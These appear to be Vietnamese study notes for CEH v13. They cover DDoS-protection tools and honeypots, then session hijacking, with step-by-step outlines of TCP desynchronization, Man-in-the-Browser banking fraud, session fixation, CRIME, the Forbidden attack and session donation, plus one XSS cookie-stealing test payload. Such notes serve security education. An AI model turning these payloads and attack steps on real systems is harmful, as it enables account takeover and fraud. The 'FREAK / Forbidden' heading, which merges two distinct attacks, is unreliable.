- **Akamai DDoS Protection:** Sử dụng cơ sở hạ tầng đám mây chuyên dụng để chặn mã độc và lưu lượng xấu ngay trên Internet trước khi chúng chạm tới tường lửa của tổ chức.
- *(Các dịch vụ khác)*: **Stormwall PRO**, **Imperva DDoS Protection**, **Nexusguard**, **BlockDoS**, **F5 DDoS Attack Protection**, **DOSarrest**.

Phần mềm bảo vệ DoS/DDoS (DoS/DDoS Protection Tools) [Trang 1537]:

- **Anti DDoS Guardian:** Công cụ bảo vệ chống tấn công DDoS mạnh mẽ dành cho máy chủ IIS, Apache, máy chủ trò chơi, Camfrog, máy chủ mail, máy chủ FTP, VOIP PBX, SIP servers và các hệ thống tương tự. Công cụ này giám sát luồng mạng theo thời gian thực và cho phép thiết lập giới hạn với: số lượng luồng mạng,

băng thông của máy khách, số lượng kết nối TCP đồng thời của máy khách và tỷ lệ kết nối TCP. Nó cũng giới hạn băng thông UDP, tỷ lệ kết nối UDP và tỷ lệ gói tin UDP.

- Sử dụng "cognitive radios" ở lớp vật lý để chống nhiễu sóng (jamming/scrambling).
- Triển khai hệ thống phát hiện bất thường bằng AI/ML để tự động đánh dấu các sai lệch trong hành vi lưu lượng.
- Sử dụng mô hình phân phối máy chủ (distributed server) và dịch vụ máy chủ dùng chung (colocation) để dự phòng.
- Cấu hình tường lửa để từ chối các lưu lượng mạng truy cập từ bên ngoài bằng giao thức Internet Control Message Protocol (ICMP).
- Bảo mật quản trị từ xa và thường xuyên kiểm tra kết nối (connectivity testing).
- Thực hiện xác thực đầu vào kỹ lưỡng (thorough input validation).
- Ngăn chặn việc sử dụng các hàm lập trình không an toàn hoặc không cần thiết như `gets` và `strcpy`.
- Sử dụng các công nghệ giám sát cấp mạng tiên tiến để giám sát vành đai mạng (network perimeter).
- Đảm bảo các kết nối bán truy cập (semi-accessible connections) được kích hoạt với chức năng time-out một cách quyết đoán.
- Đảm bảo các máy chủ luôn không có các điểm nghẽn (bottlenecks) và điểm lỗi.
- Sử dụng các dịch vụ bảo vệ của bên thứ ba để tăng cường khả năng chịu tải trước các cuộc tấn công DDoS lớn.
- Sử dụng mô hình triển khai đa đám mây (multi-cloud deployment) cho các ứng dụng chính để đảm bảo tính sẵn sàng sao lưu đúng cách.
- Thực hiện mô phỏng mở rộng (extensive simulations) các cuộc tấn công DoS/DDoS để tránh tình trạng gia tăng đột ngột và duy trì chiến lược đối phó phù hợp.
- Chia sẻ thông tin với các đối tác trong ngành và tận dụng nguồn cấp dữ liệu tình báo mối đe dọa (threat intelligence feeds) để cập nhật xu hướng tấn công DDoS.
- Giới hạn hoạt động phát sóng mạng (network broadcasting).

7.8. Ghi nhận pháp y sau tấn công (Post-Attack Forensics) [Trang 1527]

- **Traffic Pattern Analysis:** Phân tích đặc điểm độc nhất của lưu lượng tấn công để tinh chỉnh bộ lọc và cập nhật kỹ thuật điều tiết (throttling).
- **Packet Traceback:** Lần ngược dấu vết gói tin về nguồn thực sự (tương tự dịch ngược) để chặn các cuộc tấn công trong tương lai.
- **Event Log Analysis:** Lưu trữ logs của router, firewall, IDS và honeypot để phục vụ điều tra pháp y.

8. Các giải pháp né tránh / Phát hiện bằng Honeypots [Trang 1523 - 1524]

- **Sử dụng Honeypots (Deflect Attacks):** Đây là các hệ thống thiết lập với mức bảo mật thấp một cách cố ý nhằm thu hút kẻ tấn công (enticement). Nó đóng vai trò "mồi nhử" để thu thập thông tin về công cụ, chiến thuật của hacker mà không làm nguy hại tới hệ thống thật. Phương pháp "Defense-in-depth" kết hợp với IPsec để chuyển hướng traffic độc hại vào các honeypots.
  - Có hai dạng: **Low-interaction honeypots** (tương tác thấp) và **High-interaction honeypots** (tương tác cao - như Honeynets, mô phỏng toàn bộ mạng).

- **Blumira Honeypot Software:** Một loại công nghệ đánh lừa (deception technology) giúp các chuyên gia bảo mật phát hiện sớm nỗ lực truy cập trái phép và chuyển động ngang (lateral movement) của kẻ tấn công. Khi có vi phạm, nó lập tức chặn IP nguồn tại tầng switch hoặc firewall.
- *(Bổ sung các công cụ Honeypot khác từ nguồn)*: **KFSensor**, **Valhala Honeypot**, **Cowrie**, **HoneyHTTPD**, **StingBox**.

CEHv13 - Module 11 - Session Hijacking

1. Khái niệm Cướp phiên (Session Hijacking) [Trang 1547]

- **Cướp phiên (Session hijacking):** Là một cuộc tấn công trong đó kẻ tấn công chiếm quyền điều khiển một phiên giao tiếp Transmission Control Protocol (TCP) hợp lệ giữa hai máy tính.
- Vì hầu hết các loại xác thực chỉ được thực hiện ở thời điểm bắt đầu của một phiên TCP, kẻ tấn công có thể giành quyền truy cập vào máy tính trong khi phiên đang diễn ra.
- Nếu kẻ tấn công đánh cắp hoặc đoán được session ID hợp lệ, chúng có thể sử dụng nó để xác thực với máy chủ, và máy chủ sẽ phản hồi các yêu cầu của kẻ tấn công vì lầm tưởng rằng đang giao tiếp với người dùng hợp lệ.
- Kẻ tấn công có thể sử dụng kỹ thuật cướp phiên để khởi chạy nhiều loại hình tấn công khác nhau, chẳng hạn như Man-in-the-Middle (MITM) và Denial-of-Service (DoS). Chúng cũng có thể đánh hơi các thông tin nhạy cảm và làm gián đoạn phiên kết nối để thực hiện một cuộc tấn công DoS.

2. Tại sao cướp phiên thành công? (Why is Session Hijacking Successful?) [Trang 1548 - 1549]

Cướp phiên thành công nhờ vào các yếu tố lỗ hổng sau:

- **Không có cơ chế khóa tài khoản đối với session ID không hợp lệ:** Nếu trang web không khóa tài khoản, kẻ tấn công có thể thực hiện tấn công brute-force để thử liên tục các session ID cho đến khi tìm được ID hợp lệ mà không bị cảnh báo.
- **Thuật toán tạo session ID yếu hoặc kích thước session ID nhỏ:** Hầu hết các trang web dùng thuật toán tuyến tính (dựa trên thời gian hoặc IP) để tạo ID. Bằng cách nghiên cứu mô hình tuần tự, kẻ tấn công dễ dàng thu hẹp phạm vi tìm kiếm. Kể cả dùng thuật toán mạnh, nếu chuỗi ID quá ngắn thì vẫn rất dễ bị bẻ khóa.
- **Xử lý session ID không an toàn:** Kẻ tấn công có thể lừa trình duyệt truy cập trang web khác để lấy thông tin session ID được lưu trữ, sau đó khai thác qua DNS poisoning, XSS.
- **Thời gian timeout của phiên vô thời hạn (Indefinite session timeout):** Ví dụ như tùy chọn "Remember me" cung cấp cho kẻ tấn công thời gian không giới hạn để đoán session ID hoặc dùng ID tĩnh sau khi đánh cắp tệp cookie.
- **Hầu hết máy tính dùng TCP/IP đều dễ bị tổn thương:** Do các lỗi thiết kế vốn có của chính giao thức TCP/IP.
- **Hầu hết các biện pháp đối phó không hoạt động nếu không có mã hóa:** Rất dễ để đánh hơi (sniff) session ID trên một mạng phẳng (flat network) nếu bảo mật truyền tải không được thiết lập đúng cách, ngay cả khi web dùng mã hóa SSL.

3. Các pha của cướp phiên (Phases of Session Hijacking) [Trang 1551 - 1552]

Quá trình cướp phiên được chia thành ba giai đoạn chính:

- **Theo dõi kết nối (Tracking the connection):** Kẻ tấn công dùng network sniffer để theo dõi nạn nhân, hoặc dùng công cụ như Nmap để quét mạng tìm mục tiêu có chuỗi TCP dễ dự đoán. Sau đó, chúng chụp lại các số thứ tự (sequence number) và số xác nhận (acknowledgment number - ACK).
- **Phá đồng bộ kết nối (Desynchronizing the connection):** Xảy ra khi số thứ tự của máy chủ không khớp với số ACK của máy khách. Để thực hiện, kẻ tấn công gửi dữ liệu null (null data) đến máy chủ để làm tăng

số SEQ/ACK của máy chủ mà máy khách không biết. Một cách khác là gửi cờ đặt lại (RST flag) hoặc cờ kết thúc (FIN flag) để ngắt kết nối phía máy chủ và tạo một kết nối mới với số thứ tự khác, đưa cả hai vào trạng thái mất đồng bộ nhưng vẫn được thiết lập.

  - **Sử dụng cờ RST:** Kẻ tấn công chờ gói SYN/ACK từ server gửi cho host. Khi phát hiện gói này, kẻ tấn công lập tức gửi một gói RST và một gói SYN với các tham số giống hệt (như số cổng) nhưng với số thứ tự khác cho server. Server nhận được gói RST sẽ đóng kết nối với mục tiêu và khởi tạo một kết nối mới dựa trên gói SYN với số thứ tự mới trên cùng cổng. Sau khi mở kết nối mới, server gửi gói SYN/ACK cho mục tiêu để xác nhận. Kẻ tấn công phát hiện gói này (không cần chặn) và gửi gói ACK cho server. Lúc này, server ở trạng thái ESTABLISHED (đã thiết lập). Mục đích là để mục tiêu vẫn duy trì giao tiếp và chuyển sang trạng thái ESTABLISHED khi nhận được gói SYN/ACK đầu tiên từ server. Hậu quả là cả server và mục tiêu đều ở trạng thái ESTABLISHED nhưng bị mất đồng bộ.
  - **Sử dụng cờ FIN:** Kẻ tấn công cũng có thể dùng cờ FIN, nhưng điều này sẽ khiến server phản hồi bằng gói ACK, làm lộ cuộc tấn công thông qua hiện tượng "bão ACK" (ACK storm). Sự không khớp trong các số SEQ/ACK dẫn đến lưu lượng mạng dư thừa khi cả server và mục tiêu đều cố gắng xác minh đúng số thứ tự. Vì các gói tin này không mang dữ liệu, việc truyền lại sẽ không xảy ra nếu gói bị mất. Tuy nhiên, vì TCP sử dụng IP, việc mất một gói tin duy nhất sẽ kết thúc cuộc hội thoại không mong muốn giữa server và mục tiêu.
  - **Lưu ý về bước phá đồng bộ:** Kẻ tấn công có thể thêm bước phá đồng bộ vào chuỗi tấn công cướp phiên để đánh lừa host mục tiêu. Nếu không phá đồng bộ, kẻ tấn công tiêm dữ liệu vào server trong khi vẫn giấu danh tính bằng cách giả mạo địa chỉ IP. Tuy nhiên, kẻ tấn công phải đảm bảo rằng server cũng phản hồi lại host mục tiêu.

- **Tiêm gói tin của kẻ tấn công (Injecting attacker's packet):** Sau khi ngắt kết nối giữa máy chủ và mục tiêu, kẻ tấn công có thể tiêm dữ liệu vào mạng hoặc tích cực tham gia như một kẻ trung gian (Man-in-the-Middle - MITM), đọc và tiêm dữ liệu theo ý muốn.

4. Phân tích gói tin trong cướp phiên cục bộ (Packet Analysis of a Local Session Hijack) [Trang 1552]

- Cướp phiên liên quan đến việc khai thác quá trình bắt tay ba bước (three-way handshake) của TCP.
- Để cướp phiên thành công, kẻ tấn công cần biết số thứ tự tiếp theo (Next Sequence Number - NSN) mà máy khách sẽ sử dụng.
- Có hai cách: Một là bắt (sniff) lưu lượng mạng, tìm gói ACK và xác định NSN dựa trên gói đó (cách này gọi là cướp phiên cục bộ - local session hijacking). Hai là truyền dữ liệu với số thứ tự tự đoán (phương pháp này không đáng tin cậy).

5. Phân loại cướp phiên (Types of Session Hijacking) [Trang 1552 - 1553]

- **Cướp phiên thụ động (Passive Session Hijacking):** Kẻ tấn công chỉ quan sát và ghi lại tất cả lưu lượng thông qua network sniffers để thu thập session IDs và mật khẩu. Sau đó chúng dùng thông tin này để đăng nhập hợp lệ.
- **Cướp phiên chủ động (Active Session Hijacking):** Kẻ tấn công chiếm đoạt một phiên hiện có bằng cách ngắt kết nối một phía hoặc tích cực tham gia (ví dụ: MITM attack). Để MITM thành công, kẻ tấn công đôi khi phải đoán được số thứ tự trước khi mục tiêu trả lời máy chủ.

6. Cướp phiên trong Mô hình OSI (Session Hijacking in OSI Model) [Trang 1554]

Có hai cấp độ cướp phiên trong mô hình OSI:

- **Cướp phiên cấp mạng (Network-Level Hijacking):** Là việc đánh interception các gói tin trong quá trình truyền tải giữa client và server trong một phiên TCP/UDP. Một cuộc tấn công thành công cung cấp cho kẻ tấn công những thông tin quan trọng để tiếp tục tấn công các phiên cấp ứng dụng. Điểm nguy hiểm là nó tập trung vào luồng dữ liệu của giao thức nên không cần phải tinh chỉnh chi tiết cho từng ứng dụng web.
- **Cướp phiên cấp ứng dụng (Application-Level Hijacking):** Đạt được quyền kiểm soát phiên người dùng HTTP bằng cách đánh cắp các session IDs. Nhờ đó, kẻ tấn công kiểm soát phiên hiện tại hoặc tạo các phiên trái phép mới. Thông thường, cả hai cuộc tấn công cấp mạng và cấp ứng dụng thường đi kèm với nhau.

7. Giả mạo (Spoofing) vs. Chiếm quyền (Hijacking) [Trang 1555 - 1556]

- **Giả mạo (Spoofing):** Kẻ tấn công mạo danh người dùng hoặc máy khác để giành quyền truy cập. Kẻ tấn công không chiếm quyền phiên đang hoạt động mà khởi tạo một phiên kết nối hoàn toàn mới bằng thông tin đăng nhập bị đánh cắp của nạn nhân. (Cần có quyền root để tạo các gói tin thô).
- **Chiếm (Hijacking):** Kẻ tấn công giành quyền kiểm soát một phiên đang hoạt động (existing active session). Quá trình này phụ thuộc vào việc người dùng hợp pháp đã thiết lập kết nối và xác thực từ trước.
  - Lưu ý về các hạn chế (Limitations): Các cuộc tấn công giả mạo địa chỉ IP chỉ có thể thành công nếu hệ thống sử dụng IP để xác thực. Kẻ tấn công sẽ không thể thực hiện IP spoofing hoặc session hijacking nếu mạng có triển khai kiểm tra tính toàn vẹn trên từng gói tin (per-packet integrity checking). Tương tự, các cuộc tấn công này cũng bất khả thi nếu phiên kết nối sử dụng các phương pháp mã hóa như Secure Sockets Layer (SSL) hoặc Point-to-Point Tunneling Protocol (PPTP) vì kẻ tấn công không thể tham gia vào quá trình trao đổi khóa (key exchange).
    - **Blind session hijacking (Cướp phiên mù):** Để hiểu cướp phiên mù, điều quan trọng là phải hiểu khả năng dự đoán số thứ tự. Các số thứ tự TCP cung cấp kiểm soát luồng và tính toàn vẹn dữ liệu. Các phân đoạn TCP cung cấp Số thứ tự khởi tạo (ISN) không bắt đầu từ số 0 cho mỗi phiên. Nền tảng của cướp phiên mù dựa trên khả năng dự đoán hoặc đoán các số thứ tự của kẻ tấn công. Kẻ tấn công không thể giả mạo một host đáng tin cậy trên một mạng khác và quan sát các gói tin trả lời vì không có tuyến đường (route) nào để các gói tin quay lại địa chỉ IP của kẻ tấn công. Hơn nữa, kẻ tấn công không thể đầu độc bộ nhớ cache ARP vì các bộ định tuyến không phát sóng ARP qua Internet. Do không thể quan sát phản hồi, kẻ tấn công phải đoán trước các phản hồi từ nạn nhân và ngăn chặn host gửi gói TCP/RST cho nạn nhân. Phương pháp này đặc biệt hữu ích khi khai thác mối quan hệ tin cậy giữa người dùng và các máy từ xa.
    - **So sánh Spoofing và Hijacking:**
      - Trong trường hợp IP spoofing mà không có cướp phiên, việc đoán số thứ tự là không cần thiết vì không có phiên nào đang mở hiện tại với địa chỉ IP đó.
      - Trong một cuộc cướp phiên, lưu lượng chỉ quay lại kẻ tấn công nếu sử dụng "định tuyến nguồn" (source routing) - tức là người gửi chỉ định tuyến đường mà gói IP phải đi đến đích, sau đó kẻ tấn công đánh hơi (sniffs) lưu lượng khi nó đi qua máy mình.
      - Trong "spoofing phiên", thông tin xác thực bắt được sẽ dùng để thiết lập một phiên mới. Ngược lại, "cướp phiên chủ động" (active hijacking) sẽ làm lu mờ một phiên đã tồn tại từ trước. Hậu quả là người dùng hợp pháp có thể mất quyền truy cập hoặc chức năng bình thường của phiên làm việc (ví dụ: Telnet) vì kẻ tấn công đã cướp phiên và hành động với các đặc quyền của họ. Do hầu hết các cơ chế xác thực chỉ được thực thi lúc bắt đầu phiên, kẻ tấn công có thể dễ dàng truy cập vào máy mục tiêu mà không cần xác thực khi phiên đang diễn ra.

8. Cướp phiên cấp ứng dụng (Application-Level Hijacking) [Trang 1558 - 1559]

Nhằm giành quyền kiểm soát phiên người dùng HTTP bằng cách lấy các session IDs. Có 3 kỹ thuật chính:

- **Đánh cắp (Stealing):** Dùng các kỹ thuật vật lý hoặc dùng công cụ sniffing (như Wireshark, Riverbed Packet Analyzer Plus) để chặn lưu lượng giữa client và server nhằm trích xuất session IDs từ các gói tin.
- **Đoán (Guessing):** Cố gắng đoán session IDs bằng cách quan sát các biến của phiên. Chỉ hiệu quả khi máy chủ dùng cơ chế tạo ID yếu hoặc có nhiều lỗ hổng.
- **Brute forcing:** Thử tất cả các hoán vị có thể có của session ID. Dùng kết nối DSL, kẻ tấn công có thể tạo tới 1.000 lần đoán mỗi giây.
- *(Bổ sung thêm từ nguồn)* Các cách khác để xâm phạm token phiên bao gồm: Predictable session token, MITM, Man-in-the-browser, XSS, CSRF, Session replay, Session fixation, CRIME, Forbidden attack, Session donation, PetitPotam hijacking.

8. Session Sniffing (Đánh hơi phiên) [Trang 1560]

- Máy chủ web thường gửi token phiên cho trình duyệt client. Token này là chuỗi có độ dài thay đổi nằm trong header của yêu cầu HTTP (cookie), trong URL, hoặc trong nội dung body của HTTP request.
- Kẻ tấn công dùng công cụ sniffing để bắt gói tin, trích xuất ID, giả mạo nạn nhân và gửi ID đó cho máy chủ trước nạn nhân để chiếm phiên.

9. Dự đoán token phiên (Predicting Session Token) [Trang 1561 - 1563]

Kẻ tấn công thu thập lượng lớn session ID cùng lúc, phân tích thuật toán và dự đoán token mới:

- **Token tuần tự (Sequential tokens):** Nếu ID được phát hành theo số thứ tự (vd: 1001, 1002), kẻ tấn công dễ dàng đoán token tiếp theo là 1003.
- **Token dựa vào timestamp (Timestamp-based tokens):** Kết hợp các yếu tố dễ dự đoán như thời gian. Nếu biết định dạng và ngày giờ hiện tại, kẻ tấn công có thể đoán được (Ví dụ: `user123-20240611T1234`).
- **Không gian token nhỏ (Small token space):** Nếu số lượng token có thể có là quá nhỏ (vd: giới hạn 10.000 giá trị), kẻ tấn công có thể viết script brute-force toàn bộ.
- **Thiếu giới hạn tốc độ (Lack of rate-limiting):** Không có rate-limiting cho phép kẻ tấn công thực hiện đoán (brute-force) hàng ngàn token liên tục mà không bị hệ thống chặn.
- **Bộ sinh số ngẫu nhiên yếu (Weak PRNG):** Bộ tạo số giả ngẫu nhiên không thực sự ngẫu nhiên hoặc được tạo seed (hạt giống) kém, ví dụ như dùng thời gian hiện tại làm seed, sẽ giúp kẻ tấn công sao chép lại quy trình tạo token.
- **Các bước thực hiện tấn công bằng kỹ thuật Brute-force / Dự đoán token [Trang 1563]:**
  1. Kẻ tấn công thu thập Session ID hiện tại và kết nối với ứng dụng web.
  2. Kẻ tấn công áp dụng kỹ thuật brute-force hoặc tính toán Session ID tiếp theo.
  3. Kẻ tấn công sửa đổi giá trị hiện tại trong cookie/URL/trường biểu mẫu ẩn và giả mạo danh tính của người dùng tiếp theo.

10. Cướp phiên bằng Man-in-the-Middle (MITM) [Trang 1564]

- Trong MITM, kẻ tấn công chia rẽ (split) kết nối TCP thành hai kết nối riêng biệt: `client ↔ attacker` và `attacker ↔ server`.

- Sau khi chặn thành công, kẻ tấn công có thể đọc, sửa đổi và chèn dữ liệu gian lận vào phiên giao tiếp.
- Trong một giao dịch HTTP, bản thân kết nối TCP chính là mục tiêu để thực hiện cuộc tấn công xâm nhập này.

11. Tấn công Man-in-the-Browser / Manipulator-in-the-Browser (MitB) [Trang 1565 - 1566]

Tấn công Man-in-the-browser (MitB) tương tự như tấn công Man-in-the-Middle (MITM), nhưng điểm khác biệt là nó sử dụng một Trojan horse để chặn và thao túng các lệnh gọi (calls) giữa trình duyệt và các cơ chế/thư viện bảo mật của nó [Trang 1565]. Mục tiêu chính là trộm cắp tài chính bằng cách thao túng các giao dịch ngân hàng trực tuyến. MitB có thể thành công ngay cả khi có SSL, PKI hay xác thực 2 yếu tố (2FA) vì mọi cơ chế bảo mật đều trông có vẻ hoạt động bình thường [Trang 1565].

Các bước thực hiện tấn công Man-in-the-Browser [Trang 1565 - 1566]:

1. Trojan lây nhiễm vào phần mềm của máy tính (Hệ điều hành hoặc ứng dụng).
2. Trojan cài đặt mã độc (các tệp tiện ích mở rộng - extension files) và lưu nó vào cấu hình trình duyệt.
3. Sau khi người dùng khởi động lại trình duyệt, mã độc dưới dạng extension được tải lên.
4. Các file extension đăng ký một trình xử lý (handler) cho mỗi lần người dùng truy cập một trang web.
5. Khi một trang được tải, extension so khớp URL của trang đó với danh sách các trang web mục tiêu (targeted sites) đã được thiết lập sẵn.
6. Người dùng đăng nhập an toàn vào trang web (ví dụ: web ngân hàng).
7. Extension đăng ký một event handler cho nút bấm (button) khi phát hiện một mẫu tải trang cụ thể.
8. Khi người dùng nhấp vào nút bấm, extension sử dụng giao diện DOM (Document Object Model) để trích xuất toàn bộ dữ liệu từ các trường biểu mẫu (form fields) và sửa đổi các giá trị đó (ví dụ: đổi tài khoản thụ hưởng).
9. Trình duyệt gửi biểu mẫu và các giá trị đã sửa đổi tới server.
10. Server nhận các giá trị đã sửa đổi nhưng không thể phân biệt được đâu là giá trị gốc.
11. Sau khi server thực hiện giao dịch, một biên lai (receipt) được tạo ra.
12. Trình duyệt nhận lại biên lai cho giao dịch đã bị sửa đổi.
13. Tuy nhiên, trình duyệt (đã bị kiểm soát) lại hiển thị biên lai với các thông tin gốc ban đầu do người dùng nhập.
14. Người dùng hoàn toàn tin rằng giao dịch gốc đã được xử lý mà không biết gì về sự thay đổi/can thiệp.

12. Cướp phiên cấp ứng dụng (Application-Level Session Hijacking) và các phương pháp tấn công Client-side [Trang 1566 - 1580]

- **Đặc điểm của tấn công Client-side (Client-side Attacks):** Nhắm vào các lỗ hổng trong ứng dụng máy khách khi chúng tương tác với máy chủ độc hại hoặc xử lý dữ liệu độc hại. Các ứng dụng dễ bị tổn thương bao gồm các trang web không được bảo vệ, Java Runtime Environment (JRE) và trình duyệt (mục tiêu chính). Tấn công chỉ xảy ra khi máy khách thiết lập kết nối với máy chủ độc hại và xử lý dữ liệu từ chúng; nếu không có sự tương tác giữa client và server, tấn công sẽ không thể xảy ra (Ví dụ: Chạy ứng dụng FTP client nhưng không thiết lập kết nối tới FTP server).
- **Cross-Site Scripting (XSS)** [Trang 1566 - 1567]:

  - Bản chất: Kẻ tấn công chèn các tập lệnh phía máy khách (client-side scripts) độc hại vào các trang web động do ứng dụng web không xử lý đầu vào đúng cách.
  - Cách thức: Tập lệnh độc hại thực thi trên trình duyệt của nạn nhân để thu thập thông tin cá nhân, đánh cắp cookie/session token. Ví dụ mã chèn: `<SCRIPT>alert(document.cookie);</SCRIPT>`.
- **Malicious JavaScript (Mã JS độc hại)** [Trang 1566]:
  - Bản chất: Kẻ tấn công nhúng một kịch bản JS độc hại vào trang web.
  - Cách thức: Kịch bản này không tạo ra bất kỳ cảnh báo nào cho người dùng nhưng âm thầm chụp (captures) các token phiên ở chế độ nền và gửi chúng cho kẻ tấn công.
- **Trojans** [Trang 1566]:
  - Bản chất: Phần mềm độc hại lây nhiễm vào hệ thống nạn nhân.
  - Cách thức: Một Trojan horse có thể thay đổi cài đặt proxy trong trình duyệt của người dùng để gửi tất cả các phiên (sessions) đi qua máy của kẻ tấn công, từ đó đánh cắp dữ liệu.
- **Cross-Site Request Forgery (CSRF)** [Trang 1568]:
  - Bản chất: Còn được gọi là tấn công một cú nhấp chuột (one-click attack) hoặc session riding. Khai thác sự tin tưởng mà máy chủ (server) dành cho một phiên đang xác thực của trình duyệt.
  - Cách thức: Kẻ tấn công tạo một biểu mẫu độc hại. Khi nạn nhân (đã đăng nhập) bấm vào liên kết, trình duyệt tự động gửi dữ liệu hợp lệ (cookie) tới máy chủ. Vì dữ liệu xuất phát từ người dùng đáng tin cậy, máy chủ chấp nhận yêu cầu của kẻ tấn công.
- **Session Replay Attack (Tấn công phát lại phiên)** [Trang 1569 - 1570]:
  - Bản chất: Ghi lại và phát lại token.
  - Cách thức: Kẻ tấn công lắng nghe (eavesdrops/sniffs) cuộc hội thoại giữa người dùng và máy chủ để chụp (capture) token xác thực. Sau đó, chúng phát lại (replays) yêu cầu chứa token đó tới máy chủ để qua mặt xác thực và giành quyền truy cập trái phép.
- **Session Fixation (Cố định phiên)** [Trang 1571 - 1573]:
  - Bản chất: Đặt trước (fix) một Session ID hợp lệ thay vì đánh cắp ID sau khi đăng nhập.
  - Cách thức: Kẻ tấn công lấy một ID hợp lệ từ server, gài ID này vào trình duyệt nạn nhân (qua URL, cookie, form ẩn) và dụ nạn nhân đăng nhập. Khi nạn nhân đăng nhập thành công, phiên đó được xác thực với ID mà kẻ tấn công đã biết từ trước.
  - **Các giai đoạn của một cuộc tấn công cố định phiên (Session Fixation phases):**
    1. **Giai đoạn thiết lập (Session set-up phase):** Kẻ tấn công kết nối với máy chủ web mục tiêu để nhận một session ID hợp lệ. (Kẻ tấn công có thể phải gửi request liên tục để giữ cho session ID này không bị hết hạn/timeout).
    2. **Giai đoạn cố định (Fixation phase):** Kẻ tấn công đưa session ID này vào trình duyệt của nạn nhân (thông qua link URL, hidden form, v.v.).
    3. **Giai đoạn xâm nhập (Entrance phase):** Kẻ tấn công chờ nạn nhân đăng nhập vào máy chủ bằng session ID đã gài bẫy, sau đó chiếm quyền sử dụng phiên đó.
- **Proxy-based Session Hijacking (Cướp phiên qua Proxy)** [Trang 1574]:
  - Bản chất: Đánh cắp phiên bằng cách đóng vai trò trung gian.

- Cách thức: Kẻ tấn công dụ nạn nhân nhấp vào một liên kết giả (bogus link) chuyển hướng đến máy chủ của chúng. Kẻ tấn công hoạt động như một proxy, chuyển tiếp yêu cầu đến máy chủ hợp pháp và chụp (captures) toàn bộ thông tin phiên trong quá trình giao dịch.

- **CRIME Attack** [Trang 1575 - 1576]:
  - Bản chất: Compression Ratio Info-Leak Made Easy - rò rỉ dữ liệu qua nén.
  - Cách thức: Khai thác lỗ hổng trong tính năng nén dữ liệu (thuật toán DEFLATE) của các giao thức SSL/TLS, SPDY và HTTPS. Kẻ tấn công tiêm ký tự ngẫu nhiên, theo dõi độ dài/kích thước cookie được mã hóa để suy đoán giá trị thực sự của authentication cookie.
    1. Kẻ tấn công sử dụng các kỹ thuật Kỹ nghệ xã hội (Social Engineering) để lừa nạn nhân nhấp vào một liên kết độc hại, từ đó tiêm mã độc vào hệ thống hoặc chuyển hướng nạn nhân đến một trang web lừa đảo.
    2. Nếu nạn nhân đã thiết lập sẵn kết nối HTTPS với một ứng dụng web bảo mật, kẻ tấn công sẽ đánh hơi (sniff) lưu lượng HTTPS của nạn nhân bằng các kỹ thuật như ARP spoofing.
    3. Thông qua việc đánh hơi, kẻ tấn công bắt được giá trị cookie từ các thông điệp HTTPS.
    4. Kẻ tấn công gửi nhiều yêu cầu HTTPS đến ứng dụng web với cookie đó được gắn thêm (prepended) một vài ký tự ngẫu nhiên.
    5. Sau đó, kẻ tấn công giám sát lưu lượng giữa nạn nhân và ứng dụng web để thu thập giá trị đã nén và mã hóa của cookie.
    6. Kẻ tấn công phân tích độ dài của cookie và dự đoán giá trị thực sự của cookie xác thực, từ đó mạo danh nạn nhân để đánh cắp các thông tin mật (như thẻ tín dụng, mật khẩu).
    - **Công cụ khai thác:** Kẻ tấn công thường sử dụng công cụ như **CrimeCheck** để phát hiện xem máy chủ web có bật TLS hay nén HTTP hay không, từ đó xác định mục tiêu có dễ bị tổn thương bởi CRIME attack hay không.

- **FREAK / Forbidden Attack** [Trang 1577 - 1578]:
  - Bản chất: Tấn công MITM phá vỡ mã hóa TLS.
  - Cách thức: Khai thác lỗ hổng tái sử dụng nonce mật mã (cryptographic nonce reuse) trong quá trình bắt tay TLS (đặc biệt mã hóa AES-GCM). Sau khi chiếm được phiên HTTPS, kẻ tấn công tiêm mã độc (JS) hoặc nội dung giả mạo để ép nạn nhân tiết lộ thông tin nhạy cảm.
  - **Các bước thực hiện tấn công Forbidden (A forbidden attack involves the following steps):**
    1. Kẻ tấn công giám sát kết nối giữa nạn nhân và máy chủ web, sau đó đánh hơi (sniffs) nonce từ các thông điệp bắt tay TLS.
    2. Kẻ tấn công tạo các khóa xác thực bằng cách sử dụng nonce và chiếm quyền điều khiển kết nối.
    3. Toàn bộ lưu lượng giữa nạn nhân và máy chủ web sẽ chảy qua máy của kẻ tấn công.
    4. Kẻ tấn công tiêm mã JavaScript hoặc các trường web (web fields) vào luồng truyền tải hướng tới nạn nhân.
    5. Nạn nhân tiết lộ các thông tin nhạy cảm như số tài khoản ngân hàng, mật khẩu và số an sinh xã hội cho kẻ tấn công.

- **Session Donation Attack (Tấn công quyên tặng phiên)** [Trang 1579 - 1580]:
  - Bản chất: Nạn nhân xác thực vào phiên của kẻ tấn công.

- Cách thức: Kẻ tấn công tự đăng nhập để lấy Session ID hợp lệ, sau đó "quyên tặng" (donate) ID này cho nạn nhân qua một liên kết. Khi nạn nhân nhấp vào và nhập thông tin (thanh toán, mật khẩu), chi tiết đó sẽ bị liên kết/ghép nối trực tiếp vào tài khoản của kẻ tấn công.
- **Các bước thực hiện tấn công Session Donation:**
  1. Đầu tiên, kẻ tấn công đăng nhập vào một dịch vụ, thiết lập kết nối hợp pháp với máy chủ web đích và xóa các thông tin được lưu trữ.
  2. Máy chủ web đích phát hành một Session ID cho kẻ tấn công.
  3. Sau đó, kẻ tấn công "quyên tặng" (donates) Session ID của chúng cho nạn nhân và dụ nạn nhân nhấp vào nó để truy cập trang web.
  4. Nạn nhân nhấp vào liên kết, tin rằng đó là liên kết hợp pháp. Quá trình này mở trang của máy chủ trong trình duyệt của nạn nhân với Session ID của kẻ tấn công. Cuối cùng, nạn nhân nhập thông tin của họ vào trang và lưu lại.
  5. Kẻ tấn công lúc này có thể đăng nhập bằng chính tài khoản của chúng và lấy được toàn bộ thông tin của nạn nhân.

13. Ghi nhớ (Memorization)

(Lưu ý: Bảng ghi nhớ này đúc kết quy luật tương quan giữa các phương thức tấn công để dễ dàng ghi nhớ cách thức hoạt động)

- **CODE** (Mã độc) –> XSS, Malicious JS *(Tiêm mã thực thi vào trình duyệt)*
- **TRUST** (Niềm tin) –> CSRF, Session Donation *(Lợi dụng sự tin tưởng của máy chủ vào trình duyệt hoặc đánh lừa luồng xác thực)*
- **REUSE** (Tái sử dụng) –> Replay, Fixation *(Sử dụng lại token đã bắt được hoặc ép dùng lại token đã cố định trước)*
- **NETWORK** (Mạng lưới/Trung gian) –> Proxy, CRIME *(Đứng giữa can thiệp mạng hoặc phân tích gói tin bị nén)*
- **CRYPTO** (Mã hóa) –> FREAK / Forbidden *(Khai thác sự yếu kém trong thuật toán mã hóa, tái sử dụng Nonce)*

